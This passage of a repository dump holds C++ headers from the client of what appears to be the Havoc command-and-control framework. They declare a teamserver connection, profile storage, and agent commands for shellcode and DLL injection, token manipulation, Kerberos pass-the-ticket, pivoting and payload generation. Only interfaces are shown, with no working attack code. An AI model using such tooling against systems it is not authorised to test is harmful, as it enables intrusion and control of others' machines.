&desc)\n                    : nam(name), snam(short_name), need(need), has(false)\n                    , def(def), actual(def) {\n                this->desc=full_description(desc);\n            }\n            ~option_with_value(){}\n\n            const T &get() const {\n                return actual;\n            }\n\n            bool has_value() const { return true; }\n\n            bool set(){\n                return false;\n            }\n\n            bool set(const std::string &value){\n                try{\n                    actual=read(value);\n                    has=true;\n                }\n                catch(const std::exception &e){\n                    return false;\n                }\n                return true;\n            }\n\n            bool has_set() const{\n                return has;\n            }\n\n            bool valid() const{\n                if (need && !has) return false;\n                return true;\n            }\n\n            bool must() const{\n                return need;\n            }\n\n            const std::string &name() const{\n                return nam;\n            }\n\n            char short_name() const{\n                return snam;\n            }\n\n            const std::string &description() const {\n                return desc;\n            }\n\n            std::string short_description() const{\n                return \"--\"+nam+\"=\"+detail::readable_typename<T>();\n            }\n\n        protected:\n            std::string full_description(const std::string &desc){\n                return\n                        desc+\" (\"+detail::readable_typename<T>()+\n                        (need?\"\":\" [=\"+detail::default_value<T>(def)+\"]\")\n                        +\")\";\n            }\n\n            virtual T read(const std::string &s)=0;\n\n            std::string nam;\n            char snam;\n            bool need;\n            std::string desc;\n\n            bool has;\n            T def;\n            T actual;\n        };\n\n        template <class T, class F>\n        class option_with_value_with_reader : public option_with_value<T> {\n        public:\n            option_with_value_with_reader(const std::string &name,\n                                          char short_name,\n                                          bool need,\n                                          const T def,\n                                          const std::string &desc,\n                                          F reader)\n                    : option_with_value<T>(name, short_name, need, def, desc), reader(reader){\n            }\n\n        private:\n            T read(const std::string &s){\n                return reader(s);\n            }\n\n            F reader;\n        };\n\n        std::map<std::string, option_base*> options;\n        std::vector<option_base*> ordered;\n        std::string ftr;\n\n        std::string prog_name;\n        std::vector<std::string> others;\n\n        std::vector<std::string> errors;\n    };\n\n} // cmdline"
  },
  {
    "path": "client/include/Havoc/Connector.hpp",
    "content": "#ifndef HAVOC_CONNECTOR_HPP\n#define HAVOC_CONNECTOR_HPP\n\n#include <global.hpp>\n#include <QJsonDocument>\n#include <QJsonObject>\n#include <QWebSocket>\n#include <QAbstractSocket>\n\n#include <Havoc/Packager.hpp>\n\nnamespace HavocNamespace\n{\n    class Connector : public QTcpSocket\n    {\n    private:\n        QWebSocket*           Socket     = nullptr;\n        Util::ConnectionInfo* Teamserver = nullptr;\n        HavocSpace::Packager* Packager   = nullptr;\n\n    public:\n        QString ErrorString = nullptr;\n\n        Connector( Util::ConnectionInfo* );\n        ~Connector() noexcept;\n\n        bool Disconnect();\n\n        void SendLogin();\n        void SendPackage( Util::Packager::PPackage package );\n    };\n}\n\n#endif //HAVOC_CONNECTOR_HPP\n"
  },
  {
    "path": "client/include/Havoc/DBManager/DBManager.hpp",
    "content": "#ifndef HAVOC_DBMANAGER_HPP\n#define HAVOC_DBMANAGER_HPP\n\n#include <global.hpp>\n\n#include <QSqlDatabase>\n#include <QSqlQuery>\n#include <QSqlError>\n\nusing namespace std;\n\nclass HavocNamespace::HavocSpace::DBManager\n{\nprivate:\n    QSqlDatabase DB;\n\n    bool createNewDatabase();\n\npublic:\n    static string DBFilePath;\n\n    static int OpenSqlFile;\n    static int CreateSqlFile;\n\n    DBManager(const QString& FilePath, int OpenFlag = OpenSqlFile);\n\n    bool addTeamserverInfo( const Util::ConnectionInfo& );\n    bool checkTeamserverExists( const QString& ProfileName );\n    bool removeTeamserverInfo( const QString& ProfileName );\n    bool removeAllTeamservers();\n    vector<Util::ConnectionInfo> listTeamservers();\n\n    bool AddScript( QString Path );\n    bool RemoveScript( QString Path );\n    bool CheckScript( QString Path );\n    vector<QString> GetScripts();\n};\n\n#endif"
  },
  {
    "path": "client/include/Havoc/DemonCmdDispatch.h",
    "content": "#ifndef HAVOC_DEMONCMDDISPATCH_H\n#define HAVOC_DEMONCMDDISPATCH_H\n\n#include <global.hpp>\n\n#include <QStringList>\n#include <QFile>\n\nusing namespace std;\nusing namespace HavocNamespace;\n\n#define SEND( f ) \\\n    if ( Send ) f; return true;\n\n#define CONSOLE_ERROR( x )                          \\\n    DemonConsole->Console->append( \"\" );            \\\n    DemonConsole->Console->append( this->Prompt );  \\\n    DemonConsole->TaskError( x );\n\n#define CONSOLE_INFO( x ) \\\n    DemonConsole->TaskInfo( Send, TaskID, x );\n\nenum class Commands {\n    CHECKIN                 = 100,\n    CALLBACK                = 10,\n    CONSOLE_MESSAGE         = 0x80,\n    BOF_CALLBACK            = 0x81,\n    SLEEP                   = 11,\n    PROC_LIST               = 12,\n    FS                      = 15,\n    INLINE_EXECUTE          = 20,\n    JOB                     = 21,\n    INJECT_DLL              = 22,\n    INJECT_SHELLCODE        = 24,\n    INJECT_DLL_SPAWN        = 26,\n    TOKEN                   = 40,\n    PROC                    = 0x1010,\n    INLINE_EXECUTE_ASSEMBLY = 0x2001,\n    ASSEMBLY_LIST_VERSIONS \t= 0x2003,\n    NET                     = 2100,\n    CONFIG                  = 2500,\n    SCREENSHOT              = 2510,\n    PIVOT                   = 2520,\n    TRANSFER                = 2530,\n    SOCKET                  = 2540,\n    KERBEROS                = 2550,\n\n    OUTPUT  = 90,\n    ERROR   = 91,\n    EXIT    = 92,\n};\n\nclass DispatchOutput\n{\npublic:\n    HavocSpace::DemonCommands* DemonCommandInstance;\n\n    auto MessageOutput( QString JsonString, const QString& Date ) const -> void;\n};\n\nclass CommandExecute\n{\npublic:\n    HavocSpace::DemonCommands* DemonCommandInstance;\n\n    auto Exit( QString TaskID, QString Methode ) -> void;\n    auto Sleep( QString TaskID, QString seconds ) -> void;\n    auto Checkin( QString TaskID ) -> void;\n    auto Job( QString TaskID, QString SubCommand, QString Argument ) -> void;\n    auto FS( const QString& TaskID, QString SubCommand, QString Arguments ) -> void;\n    auto Transfer( const QString& TaskID, QString SubCommand, QString FileID ) -> void;\n    auto Socket( const QString& TaskID, QString SubCommand, QString Params ) -> void;\n    auto Luid( const QString& TaskID ) -> void;\n    auto Klist( const QString &TaskID, QString Argument1, QString Argument2 ) -> void;\n    auto Purge( const QString &TaskID, QString Argument ) -> void;\n    auto Ptt( const QString &TaskID, QString Ticket, QString Luid ) -> void;\n\n    auto ProcModule( QString TaskID, int SubCommand, QString Args ) -> void;\n    auto ProcList( QString TaskID, bool FromProcessManager ) -> void;\n\n    auto ShellcodeInject( QString TaskID, QString InjectionTechnique, QString TargetPID, QString TargetArch, QString Path, QString Arguments ) const -> void;\n    auto ShellcodeSpawn( QString TaskID, QString InjectionTechnique, QString TargetArch, QString Path, QString Arguments ) -> void;\n    auto ShellcodeExecute( QString TaskID, QString InjectionTechnique, QString TargetArch, QString Path, QString Arguments ) -> void;\n\n    auto DllInject( QString TaskID, QString TargetPID, QString Path, QString Params ) -> void;\n    auto DllSpawn( QString TaskID, QString FilePath, QByteArray Args ) -> void;\n\n    auto InlineExecute( QString TaskID, QString FunctionName, QString Path, QByteArray Args, QString Flags ) -> void;\n    auto InlineExecuteGetOutput( QString TaskID, QString FunctionName, QString Path, QByteArray Args, QString Flags ) -> void;\n    auto AssemblyInlineExecute( QString TaskID, QString Path, QString Args ) -> void;\n    auto AssemblyListVersions( QString TaskID ) -> void;\n    auto Net( QString TaskID, QString Command, QString Param ) -> void;\n    auto Pivot( QString TaskID, QString Command, QString Param ) -> void;\n    auto Token( QString TaskID, QString SubCommand, QString Arguments ) -> void;\n    auto Config( const QString& TaskID, const QString& Key, const QString& Value ) -> void;\n    auto Screenshot( const QString& TaskID ) -> void;\n    auto Task( const QString& TaskID, const QString& Command ) -> void;\n\n    auto AgentCommand( QMap<string, string> CommandData ) -> void;\n};\n\nclass HavocSpace::DemonCommands\n{\n\npublic:\n    UserInterface::Widgets::DemonInteracted* DemonConsole = nullptr;\n\n    QString         Teamserver;\n    QString         DemonID;\n    u64             MagicValue;\n    QString         AgentTypeName;\n    DispatchOutput  OutputDispatch;\n    CommandExecute  Execute;\n    QString         Prompt;\n    /* Something the command scripts can write to */\n    QStringList     BufferedMessages;\n\n    typedef struct SubCommand\n    {\n        QString     CommandString;\n        QString     Description;\n        QString     Behavior;\n        QString     NeedElevated;\n        QStringList MitreTechniques; // TODO: finish this for all commands\n        QString     Usage;\n        QString     Example;\n        QStringList Options;\n    } SubCommand_t;\n\n    typedef struct Command\n    {\n        QString     CommandString;\n        QString     Description;\n        QString     Behavior;\n        QString     NeedElevated;\n        QStringList MitreTechniques;\n        QString     Usage;\n        QString     Example;\n        bool        Module;\n\n        std::vector<SubCommand_t> SubCommands;\n    } Command_t;\n\n    static std::vector<Command_t>   DemonCommandList;\n    QMap<QString, QString>          CommandInputList;\n    QMap<QString, QString>          CommandTaskInfo;\n\n    explicit DemonCommands();\n\n    auto SetDemonConsole( UserInterface::Widgets::DemonInteracted* pInteracted ) -> void;\n    auto DispatchCommand( bool Send, QString TaskID, const QString& commandline ) -> bool;\n    auto PrintModuleCachedMessages() -> void;\n};\n\n#endif\n"
  },
  {
    "path": "client/include/Havoc/Havoc.hpp",
    "content": "#ifndef HAVOC_HAVOC_HPP\n#define HAVOC_HAVOC_HPP\n\n#include <global.hpp>\n#include <UserInterface/HavocUI.hpp>\n#include <Havoc/DBManager/DBManager.hpp>\n\nusing namespace HavocNamespace;\n\nclass HavocSpace::Havoc {\n\n    using toml_t = toml::basic_value<toml::discard_comments, unordered_map, vector>;;\n\npublic:\n    toml_t Config;\n\n    UserInterface::HavocUi HavocAppUI;\n    DBManager* dbManager;\n    QMainWindow* HavocMainWindow;\n    bool ClientInitConnect = true;\n\n    Havoc( QMainWindow* );\n    ~Havoc();\n\n    void Init( int argc, char** argv );\n    void Start();\n\n    static void Exit();\n};\n\n#endif\n"
  },
  {
    "path": "client/include/Havoc/Packager.hpp",
    "content": "#ifndef HAVOC_PACKAGER_H\n#define HAVOC_PACKAGER_H\n\n#include <global.hpp>\n\nusing namespace std;\nusing namespace HavocNamespace;\nusing namespace HavocSpace;\n\nnamespace HavocNamespace::Util::Packager\n{\n    typedef struct\n    {\n        int Event;\n\n        string User;\n        string Time;\n        string OneTime;\n    } Head_t;\n\n    typedef struct\n    {\n        int SubEvent;\n        QMap<string, string> Info; // TODO: make it QJsonObject\n    } Body_t ;\n\n    typedef struct Package\n    {\n        Head_t Head;\n        Body_t Body;\n    } Package, *PPackage;\n\n    // TODO: make everyone a struct with static members\n    namespace InitConnection\n    {\n        extern const int Type;\n        extern const int Success;\n        extern const int Error;\n        extern const int Login;\n    }\n\n    namespace Listener\n    {\n        extern const int Type;\n\n        extern const int Add;\n        extern const int Remove;\n        extern const int Edit;\n        extern const int Mark;\n        extern const int Error;\n    }\n\n    namespace Chat\n    {\n        extern const int Type;\n\n        extern const int NewMessage;\n        extern const int NewListener;\n        extern const int NewUser;\n        extern const int UserDisconnect;\n        extern const int NewSession;\n    }\n\n    namespace Gate\n    {\n        extern const int Type;\n\n        extern const int Staged;\n        extern const int Stageless;\n        extern const int MSOffice;\n    }\n\n    namespace Session\n    {\n        extern const int Type;\n\n        extern const int NewSession;\n        extern const int SendCommand;\n        extern const int ReceiveCommand;\n        extern const int MarkAs;\n        extern const int Remove;\n    }\n\n    namespace Service\n    {\n        extern const int Type;\n        extern const int AgentRegister;\n        extern const int ListenerRegister;\n    }\n\n    namespace Teamserver\n    {\n        extern const int Type;\n        extern const int Logger;\n        extern const int Profile;\n    }\n}\n\nauto NewPackageCommand( const QString& Teamserver, Util::Packager::Body_t Body ) -> void;\n\nclass HavocSpace::Packager\n{\nprivate:\n    QString TeamserverName;\npublic:\n    static Util::Packager::PPackage DecodePackage(const QString& Package );\n    QJsonDocument EncodePackage( Util::Packager::Package Package );\n\n    bool DispatchPackage( Util::Packager::PPackage Package );\n    void setTeamserver(QString Name);\n\npublic:\n    bool DispatchInitConnection( Util::Packager::PPackage Package );\n    bool DispatchListener( Util::Packager::PPackage Package );\n    bool DispatchChat( Util::Packager::PPackage Package );\n    bool DispatchSession( Util::Packager::PPackage Package );\n    bool DispatchGate( Util::Packager::PPackage Package );\n    bool DispatchService( Util::Packager::PPackage Package );\n    bool DispatchTeamserver( Util::Packager::PPackage Package );\n};\n\n#endif //HAVOC_PACKAGER_H\n"
  },
  {
    "path": "client/include/Havoc/PythonApi/Event.h",
    "content": "#ifndef HAVOC_EVENT_H\n#define HAVOC_EVENT_H\n\n#include <global.hpp>\n\ntypedef struct\n{\n    PyObject_HEAD\n\n    PVOID SessionFuncList;\n\n} PyEvents, *PPyEvents;\n\nextern PyTypeObject PyEventClass_Type;\n\nvoid        EventClass_dealloc( PPyEvents self );\nPyObject*   EventClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds );\nint         EventClass_init( PPyEvents self, PyObject *args, PyObject *kwds );\n\n// Methods\n\nPyObject*   EventClass_OnNewSession( PPyEvents self, PyObject *args );\nPyObject*   EventClass_OnDemonOutput( PPyEvents self, PyObject *args );\n\n#endif\n"
  },
  {
    "path": "client/include/Havoc/PythonApi/HavocUi.h",
    "content": "#ifndef HAVOC_HAVOCUI_H\n#define HAVOC_HAVOCUI_H\n\n#endif"
  },
  {
    "path": "client/include/Havoc/PythonApi/PyAgentClass.hpp",
    "content": "#ifndef HAVOC_PYAGENTCLASS_HPP\n#define HAVOC_PYAGENTCLASS_HPP\n\n#include <global.hpp>\n\n#define AllocMov( des, src, size )                          \\\n    if ( size > 0 )                                         \\\n    {                                                       \\\n        des = ( char* ) malloc( size * sizeof( char ) );    \\\n        memset( des, 0, size );                             \\\n        std::strcpy( des, src );                            \\\n    }\n\ntypedef struct\n{\n    PyObject_HEAD\n\n    PCHAR AgentID;\n\n    u32 CONSOLE_INFO;\n    u32 CONSOLE_ERROR;\n    u32 CONSOLE_TASK;\n} PyAgentClass, *PPyAgentClass;\n\nextern PyTypeObject PyAgentClass_Type;\n\nvoid      AgentClass_dealloc( PPyAgentClass self );\nPyObject* AgentClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds );\nint       AgentClass_init( PPyAgentClass self, PyObject *args, PyObject *kwds );\nPyObject* AgentClass_ConsoleWrite( PPyAgentClass self, PyObject *args );\nPyObject* AgentClass_Command( PPyAgentClass self, PyObject *args );\n\n#endif\n"
  },
  {
    "path": "client/include/Havoc/PythonApi/PyDemonClass.h",
    "content": "#ifndef HAVOC_PYDEMONCLASS_H\n#define HAVOC_PYDEMONCLASS_H\n\n#include <global.hpp>\n\ntypedef struct\n{\n    PyObject_HEAD\n\n    // Demon Info\n    char* Listener;\n\n    char* DemonID;\n    char* ExternalIP;\n    char* InternalIP;\n    char* User;\n    char* Computer;\n    char* Domain;\n    char* OS;\n    char* OSBuild;\n    char* OSArch;\n    char* ProcessName;\n    char* ProcessID;\n    char* ProcessArch;\n\n    // Other Members\n\n    u32 CONSOLE_INFO;\n    u32 CONSOLE_ERROR;\n    u32 CONSOLE_TASK;\n\n} PyDemonClass, *PPyDemonClass;\n\nextern PyTypeObject PyDemonClass_Type;\n\nvoid        DemonClass_dealloc( PPyDemonClass self );\nPyObject*   DemonClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds );\nint         DemonClass_init( PPyDemonClass self, PyObject *args, PyObject *kwds );\n\n// Methods\n\n// PyObject* DemonClass_( PPyDemonClass self, PyObject *args );\n\n// Command\nPyObject*   DemonClass_ProcessCreate( PPyDemonClass self, PyObject *args );\nPyObject*   DemonClass_DllInject( PPyDemonClass self, PyObject *args );\nPyObject*   DemonClass_DllSpawn( PPyDemonClass self, PyObject *args );\nPyObject*   DemonClass_InlineExecute( PPyDemonClass self, PyObject *args );\nPyObject*   DemonClass_InlineExecuteGetOutput( PPyDemonClass self, PyObject *args );\nPyObject*   DemonClass_DotnetInlineExecute( PPyDemonClass self, PyObject *args );\nPyObject*   DemonClass_RegisterCallback( PPyDemonClass self, PyObject *args );\nPyObject*   DemonClass_Command( PPyDemonClass self, PyObject *args );\nPyObject* DemonClass_CommandGetOutput( PPyDemonClass self, PyObject *args );\nPyObject*   DemonClass_ShellcodeSpawn( PPyDemonClass self, PyObject *args );\n\n// Utils\nPyObject*   DemonClass_ConsoleWrite( PPyDemonClass self, PyObject *args );\n\n#endif\n"
  },
  {
    "path": "client/include/Havoc/PythonApi/PythonApi.h",
    "content": "#ifndef HAVOC_PYTHONAPI_H\n#define HAVOC_PYTHONAPI_H\n\n#include <global.hpp>\n#pragma push_macro(\"slots\")\n#undef slots\n#include <Python.h>\n#pragma pop_macro(\"slots\")\n\n#define PY_FUNCTION( x )    PyObject* x( PyObject *self, PyObject *args );\n#define PY_FUNCTION_KW( x ) PyObject* x( PyObject *self, PyObject *args, PyObject* kwargs );\n\nnamespace PythonAPI\n{\n    namespace Havoc\n    {\n        extern PyMethodDef PyMethode_Havoc[];\n\n        namespace Core\n        {\n            PY_FUNCTION( Load )\n            PY_FUNCTION( GetDemons )\n            PY_FUNCTION( GetListeners )\n            PY_FUNCTION( GetAgents )\n            PY_FUNCTION_KW( GeneratePayload )\n            PY_FUNCTION_KW( RegisterCommand )\n            PY_FUNCTION( RegisterModule )\n            PY_FUNCTION( RegisterCallback )\n        }\n\n        namespace PyModule\n        {\n            extern struct PyModuleDef havoc;\n        }\n\n        PyMODINIT_FUNC PyInit_Havoc(void);\n    }\n\n    namespace HavocUI\n    {\n        extern PyMethodDef PyMethode_HavocUI[];\n\n        namespace Core\n        {\n            PY_FUNCTION( MessageBox )\n            PY_FUNCTION( ErrorMessage )\n            PY_FUNCTION( CreateTab )\n            PY_FUNCTION( InputDialog )\n            PY_FUNCTION( OpenFileDialog )\n            PY_FUNCTION( SaveFileDialog )\n            PY_FUNCTION( QuestionDialog )\n            PY_FUNCTION( ColorDialog )\n            PY_FUNCTION( ProgressDialog )\n        }\n\n        namespace PyModule\n        {\n            extern struct PyModuleDef havocui;\n        }\n\n        PyMODINIT_FUNC PyInit_HavocUI(void);\n\n    }\n}\n\nnamespace emb\n{\n    typedef std::function<void(std::string)> stdout_write_type;\n\n    struct Stdout\n    {\n        PyObject_HEAD\n        stdout_write_type write;\n    };\n\n    PyObject* Stdout_write(PyObject* self, PyObject* args);\n    PyObject* Stdout_flush(PyObject* self, PyObject* args);\n    PyMODINIT_FUNC PyInit_emb(void);\n    void set_stdout(stdout_write_type write);\n    void reset_stdout();\n};\n\n#endif\n"
  },
  {
    "path": "client/include/Havoc/PythonApi/UI/PyDialogClass.hpp",
    "content": "#ifndef HAVOC_PYDIALOGCLASS_H\r\n#define HAVOC_PYDIALOGCLASS_H\r\n\r\n#include <UserInterface/HavocUI.hpp>\r\n#include <global.hpp>\r\n\r\n#include <QVBoxLayout>\r\n#include <QScrollArea>\r\n#include <QDialog>\r\n#include <QLabel>\r\n#include <QPushButton>\r\n#include <QCheckBox>\r\n#include <QLineEdit>\r\n#include <QCalendarWidget>\r\n#include <QDial>\r\n#include <QSlider>\r\n\r\ntypedef struct\r\n{\r\n\r\n    QDialog*        window;\r\n    QVBoxLayout*    layout;\r\n    QScrollArea*    scroll;\r\n    QWidget*        root;\r\n    QVBoxLayout*    root_layout;\r\n\r\n} PyDialogQWindow, *PPyDialogQWindow;\r\n\r\ntypedef struct\r\n{\r\n    PyObject_HEAD\r\n\r\n    // Demon Info\r\n    char* title;\r\n    PPyDialogQWindow DialogWindow;\r\n\r\n} PyDialogClass, *PPyDialogClass;\r\n\r\nextern PyTypeObject PyDialogClass_Type;\r\n\r\nvoid        DialogClass_dealloc( PPyDialogClass self );\r\nPyObject*   DialogClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds );\r\nint         DialogClass_init( PPyDialogClass self, PyObject *args, PyObject *kwds );\r\n\r\n// Methods\r\n\r\nPyObject*   DialogClass_exec( PPyDialogClass self, PyObject *args );\r\nPyObject*   DialogClass_close( PPyDialogClass self, PyObject *args );\r\nPyObject*   DialogClass_clear( PPyDialogClass self, PyObject *args );\r\nPyObject*   DialogClass_addLabel( PPyDialogClass self, PyObject *args );\r\nPyObject*   DialogClass_addButton( PPyDialogClass self, PyObject *args );\r\nPyObject*   DialogClass_addCheckbox( PPyDialogClass self, PyObject *args );\r\nPyObject*   DialogClass_addCombobox( PPyDialogClass self, PyObject *args );\r\nPyObject*   DialogClass_addLineedit( PPyDialogClass self, PyObject *args );\r\nPyObject*   DialogClass_addCalendar( PPyDialogClass self, PyObject *args );\r\nPyObject*   DialogClass_replaceLabel( PPyDialogClass self, PyObject *args );\r\nPyObject*   DialogClass_addImage( PPyDialogClass self, PyObject *args );\r\nPyObject*   DialogClass_addDial( PPyDialogClass self, PyObject *args );\r\nPyObject*   DialogClass_addSlider( PPyDialogClass self, PyObject *args );\r\n\r\n#endif\r\n"
  },
  {
    "path": "client/include/Havoc/PythonApi/UI/PyLoggerClass.hpp",
    "content": "#ifndef HAVOC_PYLOGGERCLASS_H\r\n#define HAVOC_PYLOGGERCLASS_H\r\n\r\n#include <UserInterface/HavocUI.hpp>\r\n#include <global.hpp>\r\n\r\n#include <QGridLayout>\r\n#include <QTextEdit>\r\n#include <QDialog>\r\n\r\ntypedef struct\r\n{\r\n\r\n    QWidget* window;\r\n    QGridLayout* layout;\r\n    QTextEdit* LogSection;\r\n\r\n} PyLoggerQWindow, *PPyLoggerQWindow;\r\n\r\ntypedef struct\r\n{\r\n    PyObject_HEAD\r\n\r\n    // Demon Info\r\n    char* title;\r\n    PPyLoggerQWindow LoggerWindow;\r\n\r\n} PyLoggerClass, *PPyLoggerClass;\r\n\r\nextern PyTypeObject PyLoggerClass_Type;\r\n\r\nvoid        LoggerClass_dealloc( PPyLoggerClass self );\r\nPyObject*   LoggerClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds );\r\nint         LoggerClass_init( PPyLoggerClass self, PyObject *args, PyObject *kwds );\r\n\r\n// Methods\r\n\r\nPyObject* LoggerClass_setBottomTab( PPyLoggerClass self, PyObject *args );\r\nPyObject* LoggerClass_setSmallTab( PPyLoggerClass self, PyObject *args );\r\nPyObject* LoggerClass_addText( PPyLoggerClass self, PyObject *args );\r\nPyObject* LoggerClass_clear( PPyLoggerClass self, PyObject *args );\r\n\r\n#endif\r\n"
  },
  {
    "path": "client/include/Havoc/PythonApi/UI/PyTreeClass.hpp",
    "content": "#ifndef HAVOC_PYTREECLASS_H\r\n#define HAVOC_PYTREECLASS_H\r\n\r\n#include <UserInterface/HavocUI.hpp>\r\n#include <global.hpp>\r\n\r\n#include <QWidget>\r\n#include <QVBoxLayout>\r\n#include <QHBoxLayout>\r\n#include <QScrollArea>\r\n#include <QTextEdit>\r\n#include <QTextBrowser>\r\n#include <QTreeView>\r\n#include <QStandardItemModel>\r\n#include <QStandardItem>\r\n#include <QSplitter>\r\n\r\n\r\ntypedef struct\r\n{\r\n\r\n    QWidget*            window;\r\n    QHBoxLayout*        layout;\r\n    QScrollArea*        scroll;\r\n    QWidget*            root;\r\n    QVBoxLayout*        root_layout;\r\n\r\n    QStandardItemModel* item_model;\r\n    QStandardItem*      root_item;\r\n    QTreeView*          tree_view;\r\n    QTextBrowser*          panel;\r\n    QSplitter*          splitter;\r\n\r\n} PyTreeQWindow, *PPyTreeQWindow;\r\n\r\ntypedef struct\r\n{\r\n    PyObject_HEAD\r\n\r\n    // Demon Info\r\n    char* title;\r\n    PPyTreeQWindow TreeWindow;\r\n\r\n} PyTreeClass, *PPyTreeClass;\r\n\r\nextern PyTypeObject PyTreeClass_Type;\r\n\r\nvoid        TreeClass_dealloc( PPyTreeClass self );\r\nPyObject*   TreeClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds );\r\nint         TreeClass_init( PPyTreeClass self, PyObject *args, PyObject *kwds );\r\n\r\n// Methods\r\n\r\nPyObject* TreeClass_setBottomTab( PPyTreeClass self, PyObject *args );\r\nPyObject* TreeClass_setSmallTab( PPyTreeClass self, PyObject *args );\r\nPyObject* TreeClass_addRow( PPyTreeClass self, PyObject *args );\r\nPyObject* TreeClass_setItem( PPyTreeClass self, PyObject *args );\r\nPyObject* TreeClass_setPanel( PPyTreeClass self, PyObject *args );\r\n\r\n#endif\r\n"
  },
  {
    "path": "client/include/Havoc/PythonApi/UI/PyWidgetClass.hpp",
    "content": "#ifndef HAVOC_PYWIDGETCLASS_H\r\n#define HAVOC_PYWIDGETCLASS_H\r\n\r\n#include <UserInterface/HavocUI.hpp>\r\n#include <global.hpp>\r\n\r\n#include <QVBoxLayout>\r\n#include <QDialog>\r\n#include <QLabel>\r\n#include <QPushButton>\r\n#include <QCheckBox>\r\n#include <QLineEdit>\r\n#include <QCalendarWidget>\r\n#include <QScrollArea>\r\n#include <QDial>\r\n#include <QSlider>\r\n\r\ntypedef struct\r\n{\r\n\r\n    QWidget*        window;\r\n    QVBoxLayout*    layout;\r\n    QScrollArea*    scroll;\r\n    QWidget*        root;\r\n    QVBoxLayout*    root_layout;\r\n\r\n} PyWidgetQWindow, *PPyWidgetQWindow;\r\n\r\ntypedef struct\r\n{\r\n    PyObject_HEAD\r\n\r\n    // Demon Info\r\n    char* title;\r\n    PPyWidgetQWindow WidgetWindow;\r\n\r\n} PyWidgetClass, *PPyWidgetClass;\r\n\r\nextern PyTypeObject PyWidgetClass_Type;\r\n\r\nvoid        WidgetClass_dealloc( PPyWidgetClass self );\r\nPyObject*   WidgetClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds );\r\nint         WidgetClass_init( PPyWidgetClass self, PyObject *args, PyObject *kwds );\r\n\r\n// Methods\r\n\r\nPyObject* WidgetClass_addLabel( PPyWidgetClass self, PyObject *args );\r\nPyObject* WidgetClass_setBottomTab( PPyWidgetClass self, PyObject *args );\r\nPyObject* WidgetClass_setSmallTab( PPyWidgetClass self, PyObject *args );\r\nPyObject*   WidgetClass_addButton( PPyWidgetClass self, PyObject *args );\r\nPyObject*   WidgetClass_addCheckbox( PPyWidgetClass self, PyObject *args );\r\nPyObject*   WidgetClass_addCombobox( PPyWidgetClass self, PyObject *args );\r\nPyObject*   WidgetClass_addLineedit( PPyWidgetClass self, PyObject *args );\r\nPyObject*   WidgetClass_addCalendar( PPyWidgetClass self, PyObject *args );\r\nPyObject*   WidgetClass_replaceLabel( PPyWidgetClass self, PyObject *args );\r\nPyObject*   WidgetClass_clear( PPyWidgetClass self, PyObject *args );\r\nPyObject*   WidgetClass_addImage( PPyWidgetClass self, PyObject *args );\r\nPyObject*   WidgetClass_addDial( PPyWidgetClass self, PyObject *args );\r\nPyObject* WidgetClass_addSlider( PPyWidgetClass self, PyObject *args );\r\n\r\n#endif\r\n"
  },
  {
    "path": "client/include/Havoc/Service.hpp",
    "content": "#ifndef HAVOC_SERVICE_HPP\n#define HAVOC_SERVICE_HPP\n\n#include <QString>\n#include <QStringList>\n#include <QJsonDocument>\n\n#include <vector>\n\ntypedef struct\n{\n    QString Name;\n    bool    IsFilePath;\n    bool    IsOptional;\n} CommandParam;\n\ntypedef struct\n{\n  QString Name;\n  QString Extension;\n} AgentFormat;\n\ntypedef struct\n{\n    QString                   Name;\n    QString                   Description;\n    QString                   Help;\n    bool                      NeedAdmin;\n    QStringList               Mitr;\n    std::vector<CommandParam> Params;\n    bool                      Anonymous;\n} AgentCommands;\n\ntypedef struct\n{\n    QString                    Name;\n    QString                    Description;\n    QString                    Version;\n    QString                    Author;\n    uint64_t                   MagicValue;\n    QStringList                Arch;\n    std::vector<AgentFormat>   Formats;\n    QStringList                SupportedOS;\n    std::vector<AgentCommands> Commands;\n    QJsonDocument              BuildingConfig;\n} ServiceAgent;\n\nextern uint64_t DemonMagicValue;\n\n#endif\n"
  },
  {
    "path": "client/include/UserInterface/Dialogs/About.hpp",
    "content": "#ifndef HAVOC_ABOUTDIALOG_H\n#define HAVOC_ABOUTDIALOG_H\n\n#include <global.hpp>\n#include <QTextBrowser>\n\nclass About : public QDialog\n{\nprivate:\n    QGridLayout*    gridLayout;\n    QLabel*         label;\n    QPushButton*    pushButton;\n    QSpacerItem*    horizontalSpacer;\n    QTextBrowser*   textBrowser;\n\npublic:\n    QDialog *AboutDialog;\n\n    void setupUi();\n    About( QDialog* );\n\npublic slots:\n    void onButtonClose();\n};\n\n#endif"
  },
  {
    "path": "client/include/UserInterface/Dialogs/Connect.hpp",
    "content": "#ifndef HAVOC_CONNECTDIALOG_H\n#define HAVOC_CONNECTDIALOG_H\n\n#include <global.hpp>\n\n#include <QLineEdit>\n#include <QListWidget>\n#include <QPlainTextEdit>\n#include <QList>\n\nusing namespace std;\n\nclass HavocNamespace::UserInterface::Dialogs::Connect : public QDialog\n{\nprivate:\n    QGridLayout*    gridLayout;\n\n    QPlainTextEdit* plainTextEdit;\n    QLabel*         label_Name;\n    QLabel*         label_Host;\n    QLabel*         label_Port;\n    QLabel*         label_User;\n    QLabel*         label_Password;\n\n    QLineEdit*      lineEdit_User;\n    QLineEdit*      lineEdit_Password;\n    QLineEdit*      lineEdit_Host;\n    QLineEdit*      lineEdit_Name;\n    QLineEdit*      lineEdit_Port;\n\n    QPushButton*    ButtonNewProfile;\n    QPushButton*    ButtonConnect;\n\n    QSpacerItem*    horizontalSpacer;\n    QListWidget*    listWidget;\n    QPalette*       paletteGray;\n    QPalette*       paletteWhite;\n    QMenu*          listContextMenu;\n\n    HavocNamespace::HavocSpace::DBManager* dbManager;\n\npublic:\n    vector<Util::ConnectionInfo> TeamserverList;\n    QDialog*                     ConnectDialog  = nullptr;\n    bool                         tryConnect     = false;\n    bool                         isNewProfile   = false;\n    bool                         FromAction     = false;\n\n    void setupUi( QDialog* Form );\n    Util::ConnectionInfo StartDialog( bool FromAction );\n    void passDB( HavocNamespace::HavocSpace::DBManager* db );\n\nprivate slots:\n            void onButton_Connect();\n    void onButton_NewProfile();\n\n    void itemSelected();\n    void handleContextMenu(const QPoint &pos);\n\n    void itemRemove();\n    void itemsClear();\n};\n\n#endif\n"
  },
  {
    "path": "client/include/UserInterface/Dialogs/Listener.hpp",
